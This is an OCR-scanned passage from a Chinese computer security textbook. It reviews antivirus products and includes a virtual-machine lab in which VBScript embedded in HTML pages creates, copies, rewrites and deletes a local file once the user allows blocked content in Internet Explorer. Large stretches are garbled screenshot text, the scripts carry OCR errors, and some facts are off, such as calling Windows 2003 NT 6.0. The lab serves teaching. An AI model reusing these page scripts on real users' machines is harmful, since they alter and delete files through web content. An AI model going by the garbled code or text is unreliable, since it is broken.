信和 度 ”, 当然 这 会 与 病毒 特征 库 的 内 容 进行 核对 ,所 有 被 认为 安全 的 部 分 都 会 在 以 后 的 各 次 
检测 中 忽略 ,以 提高 病毒 检测 效率 。 另 外 ,以 后 杀毒 软件 检测 出 的 任何 可 疑 行为 ,在 比较 病 
毒 特征 值 的 时 候 ,都 会 青 次 通过 和 网 络 病 毒 中 心 的 最 新 反馈 予以 判断 ,从 而 确定 这 些 行为 是 
否 安全 。 

用 户 可 能 产生 这 样 的 疑问 ,如 果 病 毒 感染 了 那些 被 杀毒 软件 认为 安全 的 对 象 怎么 办 ? 
此 时 只 能 依赖 基于 行为 检测 的 主动 防御 了 。 基 于 行为 检测 的 主动 防御 措施 : 修复 已 经 感染 
病毒 的 正常 系统 部 件 ; 采用 虚拟 脱 壳 技术 隔离 病毒 ; 直接 将 感染 部 分 清除 或 恢复 至 上 次 正 
常 状 态 。 杀 毒 软件 清理 病毒 时 依据 "最 小 破坏 性 ,最 大 化 修复 ”的 原则 ,同时 会 将 可 疑 行 为 在 
第 一 时 间 上 报 病毒 中 心 。 


11.4.2 流行 杀毒 软件 介绍 


1. 瑞星 杀毒 软件 

瑞星 反 病 毒 软件 是 国内 优秀 的 杀毒 软件 之 一 ,北京 瑞星 科技 股份 有 限 公司 成 立 于 20 世 
纪 末 ,是 我 国 最 早 致力 于 计算 机 病毒 防治 与 研究 的 专业 企业 。 瑞 星 的 业务 范围 涵盖 了 计算 
机 杀毒 软件 、 网 络 防 火 墙 和 反 “ 黑 客 ”软件 的 研制 \ 设 计 、 生 产 和 销售 ,同时 拥有 全 部 产品 的 自 
主 知识 产权 。 经 过 十 余年 的 不 懈 努 力 , 瑞 星 在 国内 已 经 形成 了 规模 庞大 的 用 户 群 体 ,总 用 户 
规模 超过 一 亿 。 目 前 ,瑞星 杀毒 软件 的 技术 已 经 非常 成 熟 。 该 软件 构建 了 庞大 的 病毒 数据 
库 , 支 持 多 数 常 见 的 壳 的 脱 壳 引 擎 ,同时 具有 比较 先进 的 虚拟 机 。 瑞 星 软件 在 操作 系统 防 
护 、 病 毒 查 杀 .主动 防御 .用户 账 号 保护 ,用户 升级 等 方面 功能 都 十 分 强大 。 此 外 ,瑞星 杀毒 
软件 还 兼 有 可 移动 磁盘 病毒 免疫 、 智 能 提取 、 硬 盘 数 据 备份 .操作 系统 修复 .IE 浏览 器 防护 、 
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集成 安全 工具 等 功能 。 

2. 金山 杀毒 软件 

金山 软件 有 限 公司 在 20 世纪 80 年 代 末 向 市 场 推 出 了 第 一 款 国产 办 公 自 动 化 软件 
WPS1.0, 填 补 了 我 国 当时 办 公 软 件 产 品 市 场 的 空白 。 目 前 ,金山 软件 有 限 公司 已 经 成 为 中 
国 著名 的 软件 生产 企业 ,业务 范围 包括 应 用 软件 研发 和 网 络 服务 供应 等 。 在 国内 反 病 毒 软 
件 领域 ,金山 毒霸 和 瑞星 杀毒 软件 可 以 说 是 各 占 半壁 江山 。 经 过 多 年 的 不 断 创新 ,金山 毒霸 
已 经 成 为 技术 上 相对 成 熟 的 软件 产品 。 它 在 传统 的 病毒 数据 库 .主动 防御 的 基础 上 进行 了 
技术 革新 , 旨 在 建立 以 互联 网 可 信 认 证 为 基础 的 立体 病毒 防御 体系 ,该 体系 以 “互联 网 可 信 
认证 ?技术 为 支撑 ,提出 以 病毒 数据 库 为 根基 、 以 主动 防御 为 目标 的 病毒 综合 防治 策略 。 金 
山 毒霸 开发 了 系统 清理 专家 模块 ,这 个 独特 的 功能 模块 可 以 对 影响 计算 机 系统 的 安全 因素 
进行 全 面 地 评估 ,这 些 因素 包括 计算 机 病毒 ,启动 项 数量 、 恶 意 软 件 、 可 疑 文 件 、 系 统 漏洞 、 系 
统 盘 空间 大 小 、 浏 览 器 加 载 项 状态 、 杀 毒 软件 安装 状态 等 。 

3. 江 民 杀毒 软件 

江 民 新 科技 术 有 限 公司 (简称 江 民 科技 ) 与 北京 瑞星 科技 股份 有 限 公司 都 属于 20 世纪 
末 新 兴 的 软件 开发 企业 。 江 民 科 技 致力 于 信息 安全 技术 的 开发 和 信息 安全 服务 的 提供 ,是 
亚洲 反 病毒 协会 的 成 员 之 一 。 江 民 杀 毒 软件 能 够 对 计算 机 系统 的 安全 性 进行 综合 评价 , 通 
过 对 网 站 设立 黑白 名 单 , 使 用 户 避 免 浏 览 包 含 木马 和 恶意 脚本 的 网 页 ; 如 果 用 户 无 意 中 访 
问 了 恶意 网 页 , 江 民 杀毒 软件 也 能 够 及 时 地 进行 处 理 。 江 民 杀 毒 软件 能 够 全 面 地 检测 用 户 
计算 机 系统 中 的 恶意 软件 ,同时 为 用 户 提供 卸载 恶意 软件 的 工具 ,并 且 还 具有 多 种 系统 安全 
辅助 功能 (如 系统 修复 .插件 管理 .上 网 痕迹 清除 等 ) 。 

4. 卡巴 斯 基 杀 毒 软件 

卡巴 斯 基 实验 室 有 限 股份 公司 (简称 卡巴 斯 基 公 司 或 卡巴 斯 基 实验 室 ) 成 立 于 1997 年 ， 
致力 于 国际 信息 安全 软件 的 研发 和 销售 。 公 司 总 部 位 于 莫斯科 , 子 公 司 分 布 于 中 国 、 美 国 、 
荷兰 德国. 日本, 波兰、 法 国 和 英国 。 卡 巴 斯 基 公司 在 全 球 的 销售 代理 企业 超过 500 家 。 
虽然 卡巴 斯 基 杀 毒 软件 来 自 俄罗斯 ,但 是 在 中 国境 内 有 着 巨大 的 客户 群体 。 该 软件 无 
论 是 在 病毒 查 杀 能 力 、 病 毒 脱 壳 能 力 , 还 是 在 运用 虚拟 机 技术 方面 的 能 力 , 均 处 于 全 球 
领先 地 位 。 

5. 其 他 反 病 毒 软件 

上 面 介 绍 的 杀毒 软件 大 家 都 比较 熟悉 ,下 面 再 介绍 几 款 著名 的 杀毒 软件 。 

(1) 反 病 毒 软 件 BitDefender 来 自 罗 马 尼 亚 . 它 的 杀毒 引擎 功能 卓越 ,能 够 为 计算 机 系 
统 提 供 最 大 限度 的 保护 ; 这 款 杀毒 软件 的 另 一 个 独到 之 处 在 于 其 独特 的 互联 网 过 滤 技 术 ， 
能 够 为 客户 的 计算 机 提供 即时 信息 保护 。 

(2) 杀毒 软件 Nod32 来 自前 捷克 斯 洛 伐 克 , 它 能 够 轻易 地 通过 苛刻 的 病毒 检测 测试 
(VB100 测试 ) ,同时 兼 有 * 轻 、 快 、 准 、 狠 ?的 强大 特点 。 

(3) Kwik AE BE Dr. Web 来 自 俄罗斯 , 深 受 俄 政 府 和 军 方 的 青睐 。 这 款 杀毒 软件 
具备 超 强 的 脱 壳 能 力 , 其 脱 壳 引 擎 曾 被 许多 著名 的 反 病 毒 软 件 使 用 过 ,连续 16 年 成 为 俄 罗 
斯 国防 部 指定 的 反 病 毒 软件 品牌 。 

(4) 杀毒 软件 Avira AntiVir 来 自 德国 .也 就 是 著名 的 小 红 锌 。 这 款 杀 毒 软件 体积 虽 
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小 ,但 是 却 能 够 快速 准确 地 歼灭 计算 机 病毒 ; 同时 它 兼 有 防火 墙 的 功能 ,能 够 有 效 地 保护 客 
户 的 计算 机 及 其 工作 站 。 

此 外 ,捷克 的 杀毒 软件 avast 和 AVG Anti-Virus, 芬兰 的 杀毒 软件 F-Secure、 英 国 的 杀 
毒 软件 Sophos 以 及 韩国 的 杀毒 软件 安博 士 等 ,都 是 卓越 的 反 病毒 软件 。 


实 训 12 计算 机 病毒 与 防范 


1. 实 训 目的 
CL) 了 解 计算 机 病毒 的 分 类 。 
(2) 了 解 磁盘 文件 对 象 病毒 的 运行 过 程 。 
2. 实 训 环境 
(1) 设备 : 计算 机 。 
(2) 软件 : 配置 好 的 VMware Workstation 6 虚拟 机 。 
3. 实 训 内 容 
磁盘 文件 对 象 病 毒 实例 演示 。 
注意 : 部 分 文件 夹 路 径 可 能 需要 修改 ,如 C:\document and settings\gchy\ 桌 面 \test. 
htm, 请 读者 结合 自己 虚拟 机 的 实际 情况 修改 一 下 。 
4. 实 训 步骤 
第 1 步 : 在 DD 盘 中 创建 文件 夹 soft, 然 后 在 soft 中 创建 4 个 记事 本 文件 ,分 别 命名 为 
“创建 >"“ 拷 贝 "“ 删 除 " 和 ”修改 ", 如 图 11-1 所 示 。 


i 文件 @) 编辑 EE) FEV KEW IAD Hho 


Oa- O- SB Px xr |m 


EED [O a: \soee 


文件 和 文件 卖 任务 A 


CI a-es 
@ parrer 
5 


0 PEs 


图 11-1 在 文件 夹 soft 下 新 建 记事 本 文件 
第 2 步 : 打开 记事 本 文件 “创建 ”, 输 入 文本 内 容 ,如 图 11-2 所 示 。 
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P 创建 -记事 本 回回 加 
文件 人 E) SO 格式 @) SEV BH 
<HTML> 
<HEAD> 
《TITLE? 创 | 建文 件 c:\TEST-HTMKZTITLE> 
<SCRIPT LANGUAGE="UBScript"> 
<t-- 
Dim fso, f1 
Set fso = Create0bject("Scripting.FileSystemðbject") 
Set f1 = fso.CreateTextFile("c:\TEST.HTM", True) 
--> 
</SCRIPT> 
</HEAD> 
<BODY> 


In 1, Col 1 
图 11-2 在 记事 本 文件 “创建 ”中 输入 文本 内 容 
第 3 步 : 打开 记事 本 文件 “拷贝 ”, 输 入 文本 内 容 , 如 图 11-3 所 示 。 


外 拷贝 - 记事 本 回避 加 
文件 外 MEG 格式 0) 查看 GD 帮助) 

<HTHL> 

<HEAD> 


《TITLE》 复 制 c:\TEST .HTM 交 件 到 桌面 <VTITLE> 
<SCRIPT LANGUAGE="UBScript"> 
<t-- 
Dim fso, tf 
Set fso = CreateObject(“Scripting.Filesystemdb ject") 
Set tf = fs0.GetFile(“c:\TEST.HTM") 
tf .Copy (“C:\Documents and Settings\gchy\ 桌 面 \TEST.HTM") 
--> 
</SCRIPT> 
</HEAD> 
<BODY> 


In 9, Col 12 
图 11-3 在 记事 本 文件 “拷贝 "中 输入 文本 内 容 
第 4 步 : 打开 记事 本 文件 “删除 ”, 输 入 文本 内 容 ,如 图 11-4 所 示 。 


《TITLE> 山 除 卓 面 上 的 TEST-HTMKZTITLE> 
<SCRIPT LANGUAGE="UBScript™> 

<t-- 

Din fso, tf 

Set fso = CreateObject(“Scripting.FileSystemObject") 

Set tf = fso.GetFile("C:\Documents and Settings\gchy\ 卓 面 \TEST-HTM") 
tf -Delete 

--> 

</SCRIPT> 

</HEAD> 

<BODY> 


In 1, Col 7 


图 11-4 在 记事 本 文件 “删除 ”中 输入 文本 内 容 
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第 5 步 : 打开 记事 本 文件 “修改 ”, 输 入 文本 内 容 ,如 图 11-5 所 示 。 


XO MEO 格式 @) SEW HW 
<HTML> 


<HEAD> 
《TITLE> 修 改 文件 内 容 c:\TEST-HTMKZTITLE> 
<SCRIPT LANGUAGE="UBScript"> 
<?-- 
Dim fso, tf 
Set fso = Create0bject("Scripting.FileSystem0bject") 
Set tf = fso.CreateTextFile("c:\TEST.HTH", True) 
一 行 ， 并 带 有 一 个 换行 字符 。 
tf -WriteLine("<html><body> 由 浆 页 脚本 的 方式 修改 已 存在 文件 内 容 成 功 
</body></ntnl>"") 
向 文件 写 三 个 换行 字符 。 
tf -WiteBlankLines(3) 


， 写 一 
tf -urite ("This is a test.") 
Nae Close 


了 
</HEAD> 
<BODY> 


图 11-5 在 记事 本 文件 “修改 ”中 输入 文本 内 容 


第 6 步 : 将 “创建 "记事 本 文件 保存 为 HTML 文档 ,其 操作 过 程 如 图 11-6 和 图 11-7 
所 示 。 


© 创建 - 记事 本 DER 
Bade AE) ELO EEV EHW 
ame W Ctrlt 
FO) Ctrlt0 
RFO Ctrlts IT-HTMC/TITLE> 
| sau) | 
页 面 设置 0) 
FDE) Ctrltp t("Scripting.FileSystem0bject") 
xtFile("c:\TEST.HTM", True) 
Rt w 
《7SCRIPTy 
</HEAD> 
<BODY> 


Ln 1, Col 1 
图 11-6 “另存 为 ”选项 


第 7 步 : 将 所 有 的 记事 本 文件 均 保存 为 HTML 文档 ,如 图 11-8 所 示 。 

第 8 步 : 将 主机 上 的 文件 夹 D:\ soft 映射 为 虚拟 机 上 的 共享 文件 夹 testfolder, 并 复制 
testfolder 中 的 HTML 文件 ,如 图 11-9 Bras. 

第 9 步 : 将 testfolder 中 的 HTML 文件 粘贴 到 虚拟 机 EE:\ 下 ,其 操作 过 程 如 图 11-10 和 
图 11-11 Bra. 

第 10 步 : 打开 文件 “创建 . htm”, 如 图 11-12 所 示 。 

第 11 步 : 在 弹出 的 “信息 栏 ” 对 话 框 中 单 击 “ 确 定 ” 按 钮 ,如 图 11-13 所 示 。 
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另存 为 
保存 在 四: |O soft a orm 
r pae 
BEDI 
我 最 近 的 文档 “| 目 MR 
GB 目 修改 
桌面 
© 
我 的 文档 
q 
网 上 部 居 
文件 各 如: (DAB. nen a Co] 
BESED: | 所 有 文件 a | 
RBE): ANSI w] 


图 11-7 将 “创建 "记事 本 文件 保存 为 HTML 文档 


; 文件 @) RBO SEW 收藏 由 IAW Heo 


i Qa- O- B Arr xx | 国 - 


; 地址 @) 


文件 和 文件 来 任务 (A) 


加 ARAR 
@ TH 


D 共享 此 文件 到 


E) pem 
=) 1 
<o tie o) ~ 
图 我 的 文档 E) Trn 
© #2z8 n 
PE 
@ 网 上 邻居 
8 THR 2.57 KB 是 我 的 电脑 


修改 
í 360seURL 
1B 


图 11-8 将 所 有 的 记事 本 文件 均 保存 为 HTML 文档 
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WinXP — YEware Workstation 


文件 EF) REO SEW 虚拟 机 如 JE SOW hw 


是 mi 全 ;总 而 看 ;国画 回 | 回回 图 

mia * PE & winxp 

ap au 入 testfolder 

B @ Favorites 文件 人 ) SED 查看 WD KEW IAD HHO 
@ tine a 


O- Of Par ip xes| 


HED zw 


XER x 一 一 一 ~ns 
Gan a 打开 人 @) Xe 
a Q 我 的 文档 在 同一 窗口 中 打开 A 了 
a 旺 我 的 电脑 a H 

CE ELE- wv) i RED 

Bo sees C) 打开 方式 QD » 


国电 ovo- 驱动 器 0) 


aore ©) | 本 
ae 本 地 硬盘) i su 
SS’ -host 上 的 Shared Fol SAO 
O testfolder 
a G EADE i ETT LETS] 
ao ters aow 
回国 zehy 的 文档 重 命名 加 
a QALS 
3 回收 让 RED 


Nare Tools installed successfully. 


图 11-9 复制 testfolder 中 的 HTML 文件 


WinXP - Vivare Workstation 


HO MO SEW Sw 分 组 CD) BOW MHW 
a uje O40 Dae 加 回国 | 
全 边栏 x 
B P Powered On | 
B tiar = 
e Sin XD SED SEV BRW IAD 帮助 中 
wink? 一 一 一 
O- & Pee |e zea | - 
ne 
sw 
CE EEEN- wd 
ao EARB C) ao 
a & o-r 3B 0:) m 
< 本 地 磁盘 E) 车 贴 于) 
< SHS F) 车 贴 快捷 方式 ©) 
SS" host’ 上 的 Shared Fol 一 一 一 一 一 一 
© testfolder mew 
a G 控制 面板 
ee 共享 文档 Rew 
a O schy 的 文档 
: = 
[VMware Tools installed successfully. ET 


11-10 ”将 testfolder 中 的 HTML 文件 粘贴 到 虚拟 机 E:\ 下 
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WinXP — Vivare Yorkstation 


RHO REO SEW Siw JH Sow hw 
i ufe GAA: mN 
全 边栏 x Fad & winxe 
E  Povered On je 
[i ze 
BỌ Favorites RAO 编辑 EE) SEV REW IAV Mew 
@ tine ——S 
On-6 ¢ Pele zex | 
titw [æ r: i i 
e 
HTL Docunent 
1K 
CE ELE kf w) = ia Docunent 
Bw 本 地 磁盘 c) 1 16 
a & DyD-RAN 38 0:) 
Ew 本 地 磁盘 E) 
< 本 地 磁盘 F) 
日 = host’ A) Shared Fol 
© testéolder 
eG 控制 面板 
图 加 共享 文档 
a O echy 的 文档 
a QALE 
@ 回收 站 
Wiiware Tools installed successfully. EP TE 


图 11-11 查看 HTML 文件 的 粘贴 结果 


WinkP - Vivare Workstation 
XPD WHE BEY MNO HME WOW wD 
jma upe C&R Mae 回回 | 
侧 边栏 x CER D winx 
S D Powered On 
B tine O& Fibi (E:) 
RHO MO FEV KRW IAD Moo 


日 @ Favorites 
Oru- O- S| Anr |e xe | 


@ tine 
CA JDE 
XER 


Ø sa 
& 办 我 的 文档 
日 量 我 的 电脑 
@ As 软盘 a) 
BS TRS C) A 
E Q vo-ta ID 0.) o t 
田 < 本 地 磁盘 E) 发 送 到 DD » 
~~ 本 地 磁盘 F) 
SSS’ host’ 上 的 Shared Fol BOD 
© testfolder sao 
aG 控制 面板 创建 快捷 方式 G) 
田 O 共享 文档 mO 
BO echy 的 文档 esw 
a Q 同上 邻 后 
Btt® 


[Vivare Tools installed successfully. 


图 11-12 打开 文件 “创建 . htm” 
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XAG RED SEY MMW HED sow 
im WP Bap 
iat 
ia ee EST. HTE 一 Microsoft Internet Explorer 
BỌ Favorites D 可 看 TA IAT 
® tine 加 x = 
O AAG Px yume © Boas 
Hitt W [E] 2: \ OR. nee apra se” 
O ZERPSORE Internet Explorer 已 经 限制 此 文件 显示 可 能 沪 问 络 的 计算 机 的 活动 内 容 。 单 击 此 处 看 x 
悠 注意 到 信息 栏 了 吗 ? 
a 
= ia). i 
口 不 再 显示 此 信息 W. 
& tims E F 创建 文件 <: MT 
Mimare Tools installed successfully. ST 才 


图 11-13 “信息 栏 "对 话 杠 
第 12 步 : 在 快捷 菜单 中 选择 “允许 阻止 的 内 容 ” 选 项 ,如 图 11-14 所 示 。 


WinXP - Vivare Workstation 


i D saD SEW Siw HD BOW Bho 
a upe CGR Dee Des 
miat * CE [@ winx? | 
=b Bur 5 创建 文件 c: \TEST- HTE - Microsoft Internet Explorer 
"oDi 文件 人 REO SEW KRW) IAD Hh 
Wink? 
z- £ A, D 
Ox O- HAG Px ra © 2 Saa 
HED [E] E: \ORE. ata eens 
QD 为 帮助 保护 您 的 安全 ，Iaternet Explorer 已 经 限制 此 文件 显示 可 能 访问 您 的 计算 机 的 活动 内 容 。 单 击 此 处 查看 x 
选项 区 许 阻止 的 内 容 A). 
| aanw? 
| marwmw 
[Vivare Tools installed successfully. se TE 


图 11-14 阻止 网 页 内 容 快捷 菜单 
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; 文件 EF) REO SEW SHAW HOD 窗口 如 Bho 
CREOLE Te I- oe) 

m xP 

B D Powered On 


tier 


B @ Favorites = WEG) IAC w 
&® timer = z s 
O- HAG Ps ka © Boas 
TIO we Apra me” 
O ZYBRPLDRE. Internet Explorer 已 限制 此 文件 显示 可 能 访问 您 的 计算 机 的 活动 内 容 。 单 击 此 外 查看 x 


Kicrosoft Internet Explorer 


A EOE ENED heuz 控件 ) 可 能 对 悠 有 所 帮助 ， 


您 确实 要 让 此 文件 运行 活动 内 容 吗 ? 


Cav JCS) 


|iiivare Tools installed successfully. 


图 11-15 “安全 警告 "对 话 框 
第 14 步 : 在 “允许 交互 ”对 话 框 中 单 击 “ 是 ”按钮 ,如 图 11-16 所 示 。 


WinXP — Vivare Workstation 


文件 中 MO SFY MMW HD wow MW 
a upe Gan Dee oes 


maž x x 
日 Povered 0 
ea des 
© @ Favorites Ce) SAD SEM 收藏 W) IAD WAA a 
Briar A r a, D 
O=- O- HAG Px yume © B-Sas 
HED |) r:e. hta Dra me” 


Internet Explorer 


G HEENA 


20 


[vare Tools installed successfully. 


图 11-16 “允许 交互 ”对 话 框 
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第 15 步 : 查看 文件 “创建 . htm” 的 运行 结果 ,其 操作 过 程 如 图 11-17 和 图 11-18 所 示 。 


H 


WinXP — Vivare Workstation 


文件 中 saD sEV 虚拟 机 如 Han BOW Hw 
a upe S&B 
侧 边 栏 x PS 
B D Powered On 
@ vine 
B @ Favorites 
&® im = F A mi a 
O AAG Ax yume © BEES 
地 址 四 [E] z-\ORP. hta 
[ware Tools installed successfully ET O 


图 11-17 文件 “创建 .htm” 的 运行 结果 


WinXP - Vivare Workstation 


XPO RAO SEO 虚拟 机 如 HD BOM Ma 
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Pivare Tools installed successfully. olap 
11-18 在 C 盘 根 目 录 下 创建 的 文件 TEST. htm 


第 16 步 : 打开 文件 “拷贝 .htm”, 如 图 11-19 所 示 。 


5 = 
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文件 于 编辑 EE) ZEV tnw SHO BOW hw 
20/6 84 maa oam 
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nia å 
S P Powered On 
@ tine 
S @ Favorites SHO REO EEV KRW IAD Hho 
@ tiar 
O- O- BAr | 
WEO [eo p:\ 司 Esa 
FE —— 
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B © Program Files we 
a © mmos 7 | 
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B SS" host’ 上 的 Shared Fol ao © 
aG 控制 面板 Fi 
a 局 共享 文档 
a A echy 的 文档 BED 
e QALY 
D me 


wore Tools installed successfully. 


第 17 步 : 查看 文件 “拷贝 .htm” 的 运 和 


WinkP Vivare Workstation 
Ree) MO SEV Sie Ba) BOW Bho 
Le 


CES x FE 
E D Powered On 
® Yin 
BO Favorites XAD MQ SEV KEW TAD 
tir 


Or- O- DAG|Px ; 


HED E)E: SN. hta 


1-19 打开 文件 “拷贝 . htm” 


行 结果 ,其 操作 过 程 如 图 11-20 和 图 11-21 所 示 。 


PLD 


F She: vrest. wm. 


MWirare Tools installed successfully. 


11-20 文件 “拷贝 .htm” 的 运行 结果 
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WinkP - Vivare 
;文件 四 RED 
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日 Povered On 
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BỌ Favorites 
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Workstation 
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se Tools installed successfully. 


11-21 


第 18 步 : 打开 文件 “修改 . htm”, 如 图 11-22 所 示 。 


inXP 
文件 中 编辑 四) 
a nbe 
me 
B P Powered On 


® tine 
BỌ Favorites 
@ tine 


e 


rkstation 
enmw JED SOW Ha 
SER Hae 298 

x P 


staat 4 


复制 到 桌面 上 的 文件 TEST. htm 
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在 同一 窗口 中 打开 A) 
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[Wivare Tools installed successfully. 


11-22 ”打开 文件 “修改 . htm” 


-PELDE 
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文件 四 REO FEV Sw Sam Bow Hap 
a ube Gan: 
Le x 
a ae Microsoft Internet Explorer 
hd XPD S0 EEV KWO IAD HHO 
O=- O AAG Pa kra o2 SERS 
Hatt ©) [E] E: VERL hta Dra ss” 
Ins 
[imara Tools installed successfully. ETLER 
图 11-23 文件 “修改 . htm"” 的 运行 结果 
第 20 步 : 用 记事 本 程序 打开 虚拟 机 C:\ 的 文件 TEST. htm, 其 操作 过 程 如 图 11-24 


图 11-25 所 示 。 


WinXP — Vivare Workstation 
LPO RAO BFW Siw HMO BOW Hho 
a uje B&B :四 
minë 
日 Powered On 
@ time 2 
| 文件 中 ”编辑 区) SFM KEG IAW Hho 
WinXP = 
OQ- O- P Px Exe m 


她 址 四 ) 


T- - 
E OO 
E ARHRDOAE 
D Emme 
P 搜索 文件 或 文件 天 
在 同一 窗口 中 打开 Ww 
文件 和 文 伯夷 任务 9 now 


REO 
aj tesztet Ø nternet Eplerer 
D Baxi Bees 
A sete B Br ad 
sow 
SET REF C) £40 
J 以 电子 件 形 式 发 
2 pee eet) 
y Heat ao 
重 命名 虽 


REO 


|iiivare Tools inetalled successfully. 


图 11-24 用 记事 本 程序 打开 文件 TEST. htm 
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文件 四 KO RAO SFV 帮助 四 
<html><body> 由 网 页 脚本 的 方式 修改 已 存在 文件 内 容 成 功 </body 


This is a test- 


Mivare Tools installed successfully. 


11-25 ”文件 TEST. htm 修改 后 的 内 容 
第 21 步 : 打开 虚拟 机 C:\ 的 文件 TEST. htm ,其 操作 过 程 如 图 11-26 和 图 11-27 所 示 。 
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Miware Tools installed successfully. of Ama = 


图 11-26 打开 虚拟 机 C:\ 的 文件 TEST. htm 
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Set ©) |E) c: \rest. xu 


由 网 页 脚本 的 方式 修改 已 存在 文件 内 容 成 功 This is a test. 


[C:\TEST. HIM ~ Microsoft Internet Explorer 


E \TEST. HTM - Mi % 4, 10:40 


[vare Tools installed successfully. 


11-27 网 页 TEST. htm 的 运行 结果 
第 22 Ab. 打开 文件 “删除 . htm”, 如 图 11-28 所 示 。 
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were Tools installed successfully. 


图 11-28 打开 文件 “删除 . htm” 
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第 23 步 : 查看 文件 “删除 . htm” 的 运行 结果 ,其 操作 过 程 如 图 11-29 和 图 11-30 所 示 


all 


WinXP — Vivare Workstation 


XD REO SEV HNW HED SOW WHW 
a ube S&B 
niia 
& P Powered On e a 
D riar J 副 除 点 面 上 的 TEST- HTE - Microsoft Internet Explorer 
a @ Favorites XFO REO SEW KAW TAO BH 
&@ timer 
O WAG Px ym © B 
Hehe ©) [E] E: RR. hta 
w rng E) F 到 除 点 面 上 的 TEST 
[fivare Tools installed successfully. Ə RE on, 


图 11-29 文件 “删除 .htm” 的 运行 结果 


WinkP Vävare Workstation 
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BỌ Favorites 


@ tine 


Viivere Tools installed successfully. 52200 © 
图 11-30 桌面 上 的 文件 TEST. htm 已 经 被 删除 
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本 章 小 结 


计算 机 病毒 是 指 编制 或 者 在 计算 机 程序 中 插入 的 破坏 计算 机 功能 或 者 破坏 数据 ,影响 
计算 机 使 用 并 且 能 够 自我 复制 的 一 组 计算 机 指令 或 者 程序 代码 。 计 算 机 病毒 的 主要 特征 : 
破坏 性 、 隐 项 性 、 潜 伏 性 、 传 染 性 ,不 可 预见 性 。 计 算 机 病毒 是 一 段 非常 短 的 、 通 常 只 有 几 千 
个 字 节 ,会 不 断 自我 复制 .隐藏 和 感染 其 他 程序 或 计算 机 的 程序 代码 。 

本 章 从 概念 、 分 类 特征、 破坏 行为 和 作用 机 理 等 方面 详细 地 介绍 了 计算 机 病毒 ,然后 以 
蠕虫 病毒 为 例 进一步 地 阐述 了 计算 机 病毒 原理 与 特征 ,以 及 蠕虫 病毒 实例 分 析 等 。 另 外 ,还 
从 检测 、 清 除 以 及 防范 的 角度 介绍 了 计算 机 病毒 的 防治 ; 此 外 还 对 流行 杀毒 软件 以 及 运作 
机 制 进行 了 简要 的 介绍 。 


. 感染 型 病毒 的 原理 是 什么 ? 

. 计算 机 病毒 的 传染 机 理 是 什么 ? 

.“ 蠕 虫 ?病毒 的 原理 是 什么 2“ 蠕 虫 病 毒 有 哪些 特征 ? 
. 什么 是 计算 机 病毒 ? 计算 机 病毒 有 哪些 特征 ? 

.计算 机 系统 感染 病毒 后 有 哪些 现象 ? 

.如何 正确 地 清除 计算 机 系统 中 存在 的 病毒 ? 

. 普通 的 计算 机 用 户 如 何 防 范 计算 机 病毒 ? 

. 目前 ,在 病毒 防治 领域 中 有 哪些 流行 的 杀毒 软件 ? 


ONDA Ff wDr ee 
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12.1 操作 系统 安全 基础 


目前 服务 器 常用 的 操作 系统 主要 有 三 类 : UNIX、Linux、Windows。 这 些 操作 系统 都 是 
符合 C2 级 安全 级 别 的 操作 系统 。 但 是 都 存在 不 少 漏洞 ,如 果 对 这 些 漏洞 不 了 解 ,不 采取 相 
应 的 措施 ,就 会 使 操作 系统 完全 暴露 给 入 侵 者 。 

1. UNIX 操作 系统 

UNIX 操作 系统 是 由 美国 贝尔 实验 室 开发 的 一 种 多 用 户 、 多 任务 的 通用 操作 系统 。 它 
从 一 个 实验 室 的 产品 发 展 成 为 当前 使 用 普遍 .影响 深远 的 主流 操作 系统 。 

UNIX 诞生 于 20 世纪 60 年 代 末 期 ,贝尔 实验 室 的 研究 人 员 于 1969 年 开始 在 GE645 
计算 机 上 实现 一 种 分 时 操作 系统 的 锥 形 , 后 来 该 系统 被 移植 到 了 DEC 的 PDP-7 小 型 机 上 。 
1970 年 给 系统 正式 取 名 为 UNIX 操作 系统 。 到 1973 年 .UNIX 系统 的 绝 大 部 分 源 代码 都 
用 C 语 言 重新 编写 过 ,大 大 提高 了 UNIX 系统 的 可 移植 性 ,也 为 提高 系统 软件 的 开发 效率 
创造 了 条 件 。 

UNIX 操作 系统 经 过 20 多 年 的 发 展 后 ,已 经 成 为 一 种 成 熟 的 主流 操作 系统 ,并 在 发 展 
过 程 中 逐步 形成 了 一 些 新 的 特色 ,其 中 主要 特色 包括 以 下 5 个 方面 。 

(1) 可 靠 性 高 。 

(2) 极 强 的 伸缩 性 。 

(3) 网 络 功能 强 。 

(4) 强大 的 数据 库 支 持 功能 。 

(5) 开放 性 好 。 

2. Linux 操作 系统 


Linux 是 一 套 可 以 免费 使 用 和 自由 传播 的 类 UNIX 操作 系统 ,主要 用 于 基于 Intel x86 
系列 CPU 的 计算 机 上 。 这 个 系统 是 由 全 世界 各 地 的 成 千 上 万 的 程序 员 设计 和 实现 的 。 其 
目的 是 建立 不 受 任 何 商品 化 软件 的 版 权 制约 的 、 全 世界 都 能 自由 使 用 的 UNIX 兼容 产品 。 

Linux 最 早 开 始 于 一 位 名 叫 Linus Torvalds 的 计算 机 业余 爱好 者 ,当时 他 是 芬兰 赫 尔 
辛 基 大 学 的 学 生 。 目 的 是 想 设计 一 个 代替 Minix( 是 由 一 位 名 叫 Andrew Tannebaum 的 计 
算 机 教授 编写 的 一 个 操作 系统 示 教程 序 ) 的 操作 系统 。 这 个 操作 系统 可 用 于 386,486 或 奔 
腾 处 理 器 的 个 人 计算 机 上 ,并 且 具 有 UNIX 操作 系统 的 全 部 功能 。Linux 典型 的 优点 有 以 
Fer. 

(1) 完全 免费 。 

(2) 完全 兼容 POSIX 1.0 标准 。 
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(3) 多 用 户 、 多 任务 。 

(4) 良好 的 界面 。 

(5) 丰富 的 网 络 功能 。 

(6) 可 靠 的 安全 、 稳 定性 能 。 

(7) 支持 多 种 平台 。 

3. Windowsr 操作 系统 

Windows NT(New Technology) 是 微软 公司 第 一 个 真正 意义 上 的 网 络 操作 系统 ,发 展 
经 过 NT 3.0,NT 4.0,NT 5.0(Windows 2000) 和 NT 6.0(Windows 2003) 等 众多 版 本 ,并 
逐步 占据 了 广大 的 中 小 网 络 操作 系统 的 市 场 。 

Windows NT 众多 版 本 的 操作 系统 使 用 了 与 Windows 9x 完全 一 致 的 用 户 界面 和 完全 
相同 的 操作 方法 ,使 用 户 使 用 起 来 比较 方便 。 与 Windows 9x 相 比 , Windows NT 的 网 络 功 
能 更 加 强大 并 且 安全 。Windows NT 系列 操作 系统 具有 以 下 3 个 方面 的 优点 。 

(1) 支持 多 种 网 络 协议 。 由 于 在 网 络 中 可 能 存在 多 种 客户 机 ,如 Windows 95/98, 
